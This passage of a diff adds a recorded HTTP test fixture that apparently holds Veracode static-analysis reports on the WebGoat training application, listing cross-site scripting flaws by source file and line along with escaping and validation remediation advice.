+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:14 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:15:17 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:15:18 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
